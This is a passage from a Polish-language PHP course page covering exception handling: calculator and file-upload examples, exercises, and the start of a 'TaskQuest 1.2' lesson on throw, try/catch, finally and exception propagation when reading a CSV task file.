class InvalidOperationException extends CalculatorException {}

class Calculator {
    public function calculate(float $a, string $op, float $b): float {
        switch ($op) {
            case '+':
                return $a + $b;
            case '-':
                return $a - $b;
            case '*':
                return $a * $b;
            case '/':
                if ($b == 0) {
                    throw new DivisionByZeroException("Nie można dzielić przez 0");
                }
                return $a / $b;
            default:
                throw new InvalidOperationException("Nieznana operacja: $op");
        }
    }
}

// Użycie
$calc = new Calculator();

try {
    echo $calc-&gt;calculate(10, '/', 0);
} catch (DivisionByZeroException $e) {
    echo "Błąd dzielenia: " . $e-&gt;getMessage();
} catch (CalculatorException $e) {
    echo "Błąd kalkulatora: " . $e-&gt;getMessage();
}</code></pre>



<h3 class="wp-block-heading">3. Upload plików z walidacją</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class FileUploadException extends Exception {}

class FileUploader {
    private string $uploadDir = 'uploads';
    private array $allowedExt = &#91;'jpg', 'png', 'pdf'];
    private int $maxSize = 5242880;  // 5MB
    
    public function upload(array $file): string {
        // Sprawdź błędy uploadu
        if ($file&#91;'error'] !== UPLOAD_ERR_OK) {
            throw new FileUploadException($this-&gt;getErrorMessage($file&#91;'error']));
        }
        
        // Sprawdź rozmiar
        if ($file&#91;'size'] &gt; $this-&gt;maxSize) {
            throw new FileUploadException("Plik za duży (max 5MB)");
        }
        
        // Sprawdź rozszerzenie
        $ext = strtolower(pathinfo($file&#91;'name'], PATHINFO_EXTENSION));
        if (!in_array($ext, $this-&gt;allowedExt)) {
            throw new FileUploadException("Niedozwolone rozszerzenie: $ext");
        }
        
        // Zapisz
        $filename = uniqid() . '.' . $ext;
        $path = $this-&gt;uploadDir . '/' . $filename;
        
        if (!move_uploaded_file($file&#91;'tmp_name'], $path)) {
            throw new FileUploadException("Nie można zapisać pliku");
        }
        
        return $path;
    }
    
    private function getErrorMessage(int $code): string {
        $errors = &#91;
            UPLOAD_ERR_INI_SIZE =&gt; 'Plik za duży',
            UPLOAD_ERR_PARTIAL =&gt; 'Plik wysłany częściowo',
            UPLOAD_ERR_NO_FILE =&gt; 'Nie wybrano pliku',
        ];
        return $errors&#91;$code] ?? 'Nieznany błąd';
    }
}

// Użycie
if ($_FILES&#91;'file'] ?? false) {
    $uploader = new FileUploader();
    
    try {
        $path = $uploader-&gt;upload($_FILES&#91;'file']);
        echo "Plik przesłany: $path";
    } catch (FileUploadException $e) {
        echo "Błąd: " . $e-&gt;getMessage();
    }
}</code></pre>



<h3>Zadanie 1:</h3>
<p>Napisz funkcję dlugoscCiagu(), która:</p>
<ul>
<li>Przyjmuje string (lub null)</li>
<li>Zwraca długość ciągu</li>
<li>Rzuca wyjątek jeśli pusty lub null</li>
</ul>
<h3>Zadanie 2</h3>
<p>Stwórz klasę BankAccount z metodami withdraw() i deposit() oraz obsługą wyjątków.</p>
<h3>Zadanie 3</h3>
<p>Napisz funkcję readConfig() odczytującą plik JSON z obsługą błędów.</p>



<h1 id="TaskQuest" class="wp-block-heading">TaskQuest 1.2 — awaria to nie to samo co „brak zadań”</h1>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>KARTA PRACY</strong></summary>
<p class="wp-block-paragraph">Po Lekcji 11 zadania leżą w pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>. To wygodne, ale plik może zniknąć, ktoś może go źle zapisać albo uszkodzić jeden wiersz. A TaskQuest w takich sytuacjach albo pokazuje „Brak zadań.”, albo po cichu gubi zadania. Użytkownik nie ma pojęcia, że coś poszło nie tak.</p>



<p class="wp-block-paragraph">Dziś TaskQuest uczy się <strong>zauważać awarię, przerwać to, co robi, i zareagować</strong> — zamiast udawać, że wszystko jest w porządku.</p>



<h3 class="wp-block-heading">Cel lekcji</h3>



<p class="wp-block-paragraph">Nauczyć TaskQuest:</p>



<ul class="wp-block-list">
<li>zgłaszać awarię przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new Exception('komunikat')</code>,</li>



<li>przechwytywać ją w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> i odczytywać komunikat przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">getMessage()</code>,</li>



<li>sprzątać po sobie w bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code> (np. zamykać plik nawet wtedy, gdy coś poszło nie tak),</li>



<li>odróżniać <strong>sytuację normalną</strong> (pusty plik = brak zadań) od <strong>awarii</strong> (pliku nie ma, wiersz jest uszkodzony),</li>



<li>pilnować danych „przy wejściu” — uszkodzony wiersz ma być zgłoszony w momencie wczytywania pliku, a nie dopiero w innej funkcji.</li>
</ul>



<p class="wp-block-paragraph">Efekt: gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> zniknie albo będzie uszkodzony, strona TaskQuest nadal działa (poziom, XP i streak są na swoim miejscu), a w sekcji zadań pokazuje <strong>konkretny komunikat o problemie</strong> zamiast fałszywego „Brak zadań.”.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga — co jest, a czego jeszcze nie ma:</strong></p>



<ul class="wp-block-list">
<li>Używamy wyłącznie wbudowanej klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Exception('...')</code> traktuj na razie jak gotową formułkę: tworzy „kartkę z opisem awarii”. Czym dokładnie jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>, obiekt i klasa — Lekcja 15. <strong>Własne rodzaje wyjątków</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">class ... extends Exception</code>) też pojawią się dopiero po Lekcji 15.</li>



<li>Komunikaty i ostrzeżenia, które PHP wypisuje samo (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error</code>), oraz zapisywanie błędów do logu systemowego — Lekcja 23. Na razie tylko je rozpoznajemy.</li>



<li>Zapis zadań z poziomu strony (formularz) — dalej Lekcja 13. <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> nadal jest wywoływana tylko z kodu i z testów.</li>



<li>Dane grywalizacji (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$dataOstatniejAktywnosci</code>) nadal są zapisane na sztywno w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — to nadal symulacja.</li>
</ul>
</blockquote>



<h1 class="wp-block-heading">Rozgrzewka — 4 pytania z Lekcji 11</h1>



<p class="wp-block-paragraph">Odpowiedz z pamięci, zanim zaczniesz:</p>



<ol class="wp-block-list">
<li>Który tryb <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> od razu kasuje zawartość pliku i dlaczego używamy go w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code>?</li>



<li>Co zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code> dla pustej linii w pliku i jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> radziła sobie z tym w Lekcji 11?</li>



<li>Po odczycie z pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> to tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">"1"</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">"0"</code>. Jak zamieniamy go na wartość logiczną?</li>



<li>W Teście 5 z Lekcji 11 zmieniłaś/zmieniłeś nazwę pliku z zadaniami i strona pokazała „Brak zadań.”. Dlaczego ten komunikat był nieprawdziwy?</li>
</ol>



<h1 class="wp-block-heading">1. Wracamy do naszego TaskQuest</h1>



<p class="wp-block-paragraph">Aplikacja czyta zadania z <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>. <strong>Wszystkie zmienne i funkcje z Lekcji 11 zostają.</strong> Zmieniamy tylko to, <em>jak funkcje plikowe zachowują się przy awarii</em>.</p>



<h3 class="wp-block-heading">Docelowa struktura projektu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/
├── index.php                        (zmiana: try/catch przy wczytywaniu zadań, komunikat o błędzie)
├── diagnostyka.php                  bez zmian
├── config/
│   └── config.php                   bez zmian
├── includes/
│   ├── header.php                   (zmiana: jedna nowa reguła CSS .blad)
│   ├── footer.php                   (zmiana: "TaskQuest 1.2")
│   ├── funkcje_grywalizacji.php     bez zmian
│   ├── funkcje_tekstowe.php         bez zmian
│   ├── funkcje_terminow.php         bez zmian
│   ├── funkcje_zadan.php            bez zmian
│   ├── funkcje_diagnostyczne.php    bez zmian
│   └── funkcje_plikow.php           (zmiana: wyjątki + nowa funkcja sprawdzWierszZadania())
└── data/
    └── zadania.csv                  bez zmian</code></pre>



<p class="wp-block-paragraph">Nie dochodzi żaden nowy plik, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> nadal pokazuje 11 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>. Celowo <strong>nie dodajemy</strong> do niej próby wczytania zadań: ta strona dołącza tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_diagnostyczne.php</code>, żeby działać nawet przy zepsutym projekcie (Lekcja 10).</p>



<h3 class="wp-block-heading">Co gdzie trafi</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Plik</th><th>Co się zmienia</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> rzucają wyjątki; nowa <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> wokół wczytania zadań, nowa zmienna <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZadan</code>, komunikat o błędzie</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code></td><td>klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">.blad</code> do ramki z komunikatem</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></td><td>numer wersji</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Świadoma zmiana zachowania funkcji</h3>



<p class="wp-block-paragraph">To pierwsza lekcja, w której <strong>zmieniamy „umowę” istniejących funkcji</strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> przy awarii zwracała <code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code>, a teraz będzie rzucać wyjątek; <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> zwracała <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code>, a teraz nie będzie zwracać niczego (<code class="prettyprint lang-sql" style="font-size: 0.85em;">void</code>) i też rzuci wyjątek. Robimy to celowo — właśnie o to prosił „Most do Lekcji 12” z poprzedniego materiału. Jest to bezpieczne, bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> nie jest jeszcze wywoływana z żadnej strony aplikacji, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> ma jedno miejsce użycia (<code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>), które i tak będziemy poprawiać.</p>



<h3 class="wp-block-heading">Przygotowanie (zrób to teraz)</h3>



<ol class="wp-block-list">
<li><strong>Zrób kopię zapasową</strong> całego katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> z Lekcji 11 — np. jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja11/</code> (obok, nie w środku). Przyda się do testu regresji.</li>



<li>Sprawdź, czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> ma nagłówek i 5 zadań, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> działają (11 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>).</li>



<li>Zrób kopię pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> <strong>poza</strong> katalogiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> (np. na pulpicie, jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania_kopia.csv</code>). Będziemy go psuć w testach i eksperymentach, a chcemy mieć do czego wrócić. Kopii nie trzymaj w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/</code> — sekcja „Pliki danych” w <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> pokazałaby wtedy 2 pliki.</li>
</ol>



<h1 class="wp-block-heading">2. Problem w aplikacji</h1>



<p class="wp-block-paragraph">Kama uruchamia TaskQuest rano i widzi: „Brak zadań.”. Ucieszyła się na pół sekundy — a potem przypomniała sobie, że wczoraj przenosiła pliki i mogła coś przesunąć. W innym dniu ktoś przez pomyłkę skasował średnik w jednym wierszu i zadanie „Ćwiczenia z DateTime” po prostu zniknęło z listy. Bez słowa wyjaśnienia.</p>



<p class="wp-block-paragraph">Zobacz to na własne oczy.</p>



<p class="wp-block-paragraph"><strong>Próba 1 — brak pliku.</strong> Zmień nazwę <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania_x.csv</code> i odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Strona pisze: „Brak zadań.” — a prawda jest inna: <em>TaskQuest nie ma skąd wczytać zadań</em>. Przywróć nazwę.</p>



<p class="wp-block-paragraph"><strong>Próba 2 — uszkodzony wiersz.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>, w wierszu zadania o <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> 3, zamień pierwszy średnik (ten zaraz po <code class="prettyprint lang-sql" style="font-size: 0.85em;">3</code>) na spację. Odśwież stronę. Zobaczysz <code class="prettyprint lang-sql" style="font-size: 0.85em;">Wszystkie: 4</code> — zadanie zniknęło, a nic nie wskazuje, że to <em>awaria</em>. Przywróć średnik.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Sytuacja</th><th>Co widzi użytkownik dziś</th><th>Co powinno się stać</th></tr></thead><tbody><tr><td>Plik nie istnieje</td><td>„Brak zadań.”</td><td>komunikat, że pliku nie ma</td></tr><tr><td>Wiersz jest uszkodzony</td><td>zadanie znika po cichu</td><td>komunikat, <strong>w której linii</strong> jest problem</td></tr><tr><td>Plik jest pusty (tylko nagłówek)</td><td>„Brak zadań.”</td><td>„Brak zadań.” — tu wszystko gra</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> nie może otworzyć pliku</td><td>zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, nikt tego nie sprawdza</td><td>zapis nie może się „udać” po cichu</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Dlaczego to trudne do naprawienia zwykłym <code class="prettyprint lang-sql" style="font-size: 0.85em;">return</code>? Bo funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> <strong>wie, że jest problem</strong>, ale <strong>nie wie, co z nim zrobić</strong>: pokazać komunikat? zapisać w logu? przerwać stronę? To wie dopiero kod, który ją wywołał (<code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>). Potrzebujemy więc sposobu, żeby funkcja mogła powiedzieć „nie dam rady, i oto dlaczego” w taki sposób, którego <strong>nie da się zignorować</strong>.</p>



<p class="wp-block-paragraph">Potrzebujemy:</p>



<ol class="wp-block-list">
<li>sposobu na <strong>zgłoszenie</strong> awarii z dowolnego miejsca w kodzie,</li>



<li>sposobu na <strong>przerwanie</strong> tego, co program właśnie robi,</li>



<li>sposobu na <strong>przechwycenie</strong> awarii tam, gdzie wiadomo, co z nią zrobić.</li>
</ol>



<p class="wp-block-paragraph">To właśnie robią wyjątki.</p>



<h1 class="wp-block-heading">3. Nowy mechanizm PHP: wyjątki</h1>



<h2 class="wp-block-heading">3.1 Dlaczego „zwróć błąd jako wynik” nie wystarcza</h2>



<p class="wp-block-paragraph"><strong>BRUDNOPIS.</strong> Utwórz w katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> — to plik do eksperymentów, nie część aplikacji; nie dołączamy go nigdzie z <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Cała sekcja 3 dzieje się w tym pliku, dopóki nie zaznaczono inaczej. Zaczniemy od małego przykładu z XP — funkcja dodaje nagrodę do punktów i pilnuje, żeby nagroda nie była ujemna:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

function dodajXp(int $xp, int $nagroda)
{
    if ($nagroda &lt; 0) {
        return "Błąd: ujemna nagroda";
    }

    return $xp + $nagroda;
}

echo "Nowe XP: " . dodajXp(50, -10);</code></pre>



<p class="wp-block-paragraph">Wynik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowe XP: Błąd: ujemna nagroda</code>.</p>



<p class="wp-block-paragraph">Program wypisał komunikat błędu <strong>jak zwykły wynik</strong>. Trzy problemy:</p>



<ul class="wp-block-list">
<li>błąd wygląda jak dane — nic go nie odróżnia od poprawnego wyniku, więc łatwo go zapisać do zmiennej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> i liczyć dalej,</li>



<li>wołający może go po prostu zignorować (tak jak ignorujemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code>),</li>



<li>funkcja dodająca XP nie powinna decydować, jak pokazać błąd użytkownikowi.</li>
</ul>



<h2 class="wp-block-heading">3.2 <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw</code> — zgłoszenie awarii</h2>



<p class="wp-block-paragraph">Nadal w <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> — zamień jego zawartość na:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

function dodajXp(int $xp, int $nagroda): int
{
    if ($nagroda &lt; 0) {
        throw new Exception("Nagroda XP nie może być ujemna.");
        echo "Tego nie zobaczysz.";
    }

    return $xp + $nagroda;
}

echo "Start&lt;br&gt;";
echo "Nowe XP: " . dodajXp(50, -10) . "&lt;br&gt;";
echo "Koniec&lt;br&gt;";</code></pre>



<p class="wp-block-paragraph">Wynik w przeglądarce:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Start

Fatal error: Uncaught Exception: Nagroda XP nie może być ujemna. in ...brudnopis.php:6
Stack trace:
#0 ...brudnopis.php(14): dodajXp()
#1 {main}
  thrown in ...brudnopis.php on line 6</code></pre>



<p class="wp-block-paragraph">Co się stało:</p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">throw</code> <strong>natychmiast przerywa</strong> funkcję. Linia <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "Tego nie zobaczysz."</code> nie wykonała się. Funkcja nie zwróciła też żadnego wyniku — dlatego nie widać „Nowe XP:” ani „Koniec”.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">new Exception("...")</code> tworzy „kartkę z opisem awarii”. Tekst w nawiasie to <strong>komunikat</strong>.</li>



<li>Nikt wyjątku nie przechwycił, więc PHP zatrzymał <strong>cały skrypt</strong> i wypisał <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught Exception</code>. To domyślne zachowanie: <em>wyjątek, którego nikt nie obsłużył, kończy program</em>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">Stack trace</code> mówi, którą drogą doszliśmy do awarii: <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code> została wywołana z linii 14 głównego skryptu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">{main}</code>).</li>
</ul>



<h2 class="wp-block-heading">3.3 <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> — przechwycenie</h2>



<p class="wp-block-paragraph">Żeby program nie kończył się przy każdej awarii, opakowujemy ryzykowny kod w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>, a reakcję na awarię wpisujemy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">try {
    echo "Nowe XP: " . dodajXp(50, -10) . "&lt;br&gt;";
    echo "Ta linia się nie wykona.&lt;br&gt;";
} catch (Exception $wyjatek) {
    echo "Nie udało się dodać XP: " . $wyjatek-&gt;getMessage() . "&lt;br&gt;";
}

echo "Program działa dalej.";</code></pre>



<p class="wp-block-paragraph">Wynik:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Nie udało się dodać XP: Nagroda XP nie może być ujemna.
Program działa dalej.</code></pre>



<p class="wp-block-paragraph">Schemat działania:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">try {
    linia 1  ── wykonana
    linia 2  ── tu poleciał throw ──┐
    linia 3  ── POMINIĘTA           │
}                                   │
catch (Exception $wyjatek) {  &lt;─────┘  PHP przeskakuje tutaj
    reakcja na awarię
}
dalszy ciąg programu  ── działa normalnie</code></pre>



<p class="wp-block-paragraph">Ważne szczegóły:</p>



<ul class="wp-block-list">
<li>Gdy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> <strong>nic się nie stanie</strong>, blok <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> jest po prostu pomijany.</li>



<li>Gdy wyjątek poleci, reszta bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> jest <strong>pomijana</strong> — nawet jeśli była poprawna.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wyjatek</code> to zwykła zmienna, w której PHP zostawia „kartkę z opisem awarii”. Nazwa jest dowolna (w dokumentacji i przykładach z internetu zobaczysz najczęściej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$e</code>). Trzymamy się opisowych nazw, jak w całym TaskQuest.</li>
</ul>



<h2 class="wp-block-heading">3.4 Co można wyczytać z wyjątku</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wyjatek-&gt;getMessage()</code> to nasz komunikat. Wyjątek zna też kilka informacji „dla programisty”:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Metoda</th><th>Zwraca</th><th>Dla kogo</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">getMessage()</code></td><td>tekst komunikatu</td><td><strong>użytkownik</strong> (jeśli sami go napisaliśmy)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">getCode()</code></td><td>liczbę (domyślnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>) — opcjonalnie podaną jako 2. argument: <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Exception('tekst', 100)</code></td><td>programista</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">getLine()</code></td><td>numer linii, w której zrobiono <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw</code></td><td>programista</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">getFile()</code></td><td>pełną ścieżkę pliku, w którym zrobiono <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw</code></td><td>programista</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">getTraceAsString()</code></td><td>„drogę” wywołań funkcji jako tekst</td><td>programista</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Zasada:</strong> użytkownikowi pokazujemy tylko komunikat, który sami napisaliśmy. <code class="prettyprint lang-sql" style="font-size: 0.85em;">getFile()</code> i ślad wywołań ujawniają układ katalogów na serwerze — to wiedza dla nas, nie dla odwiedzającego stronę. Dlatego komunikaty w TaskQuest <strong>nie zawierają ścieżek do plików</strong>. (Do tego wrócimy w lekcji o bezpieczeństwie, 22.)</p>



<h2 class="wp-block-heading">3.5 Wyjątek „leci w górę”</h2>



<p class="wp-block-paragraph">Wyjątek nie musi być złapany w tej funkcji, w której go rzucono. Jeśli nikt go tam nie przechwyci, <strong>przelatuje do funkcji, która ją wywołała</strong>, potem do następnej — aż trafi na <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>. Jeśli takiego nie ma, kończy program (tak jak w 3.2).</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function sprawdzNagrode(int $nagroda): void
{
    if ($nagroda &lt; 0) {
        throw new Exception("Nagroda XP nie może być ujemna.");
    }
}

function dodajXp(int $xp, int $nagroda): int
{
    sprawdzNagrode($nagroda);      // wyjątek przelatuje przez dodajXp()...
    return $xp + $nagroda;
}

try {
    echo dodajXp(50, -10);
} catch (Exception $wyjatek) {
    echo $wyjatek-&gt;getMessage();   // ...i ląduje tutaj
}</code></pre>



<p class="wp-block-paragraph">Wynik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nagroda XP nie może być ujemna.</code> — mimo że <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw</code> jest dwie funkcje „głębiej”. Wypisz w <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> także <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wyjatek-&gt;getTraceAsString()</code> i zobacz, że ślad zawiera obie funkcje (numery linii i argumenty u Ciebie mogą wyglądać nieco inaczej).</p>



<p class="wp-block-paragraph">To najważniejsza idea tej lekcji, którą zapamiętamy jako regułę:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Kto wykrywa problem — rzuca wyjątek. Kto wie, co z problemem zrobić — go łapie.</strong></p>
</blockquote>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzNagrode()</code> wie, że nagroda jest zła, ale nie wie, czy pokazać komunikat na stronie, czy zapisać go w pliku. <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> wie, że pliku nie ma. <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> wie, że w tym miejscu strony da się wypisać ramkę z ostrzeżeniem.</p>



<h2 class="wp-block-heading">3.6 <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code> — sprzątanie, które wykona się zawsze</h2>



<p class="wp-block-paragraph">Blok <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code> wykona się <strong>zawsze</strong>: gdy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> wszystko poszło dobrze, gdy poleciał wyjątek i został złapany, a nawet gdy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">return</code>.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">try {
    echo "Otwieram plik...&lt;br&gt;";
    // ... praca, która może rzucić wyjątek ...
} catch (Exception $wyjatek) {
    echo "Błąd: " . $wyjatek-&gt;getMessage() . "&lt;br&gt;";
} finally {
    echo "Zamykam plik.&lt;br&gt;";
}</code></pre>



<p class="wp-block-paragraph">Po co? Bo sprzątanie (zamknięcie pliku, zwolnienie zasobu) nie może zależeć od tego, czy akurat wszystko poszło dobrze. Jeśli wyjątek poleci w środku pętli czytającej plik, kod po pętli <strong>się nie wykona</strong> — w tym <code class="prettyprint lang-sql" style="font-size: 0.85em;">fclose()</code>. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> użyjemy właśnie tego.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga:</strong> nigdy nie wpisuj <code class="prettyprint lang-sql" style="font-size: 0.85em;">return</code> do bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code>. Taki <code class="prettyprint lang-sql" style="font-size: 0.85em;">return</code> <strong>nadpisuje</strong> wynik zwrócony w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> (sprawdzisz to w eksperymencie dodatkowym).</p>
</blockquote>



<h2 class="wp-block-heading">3.7 Kiedy rzucać wyjątek, a kiedy nie</h2>



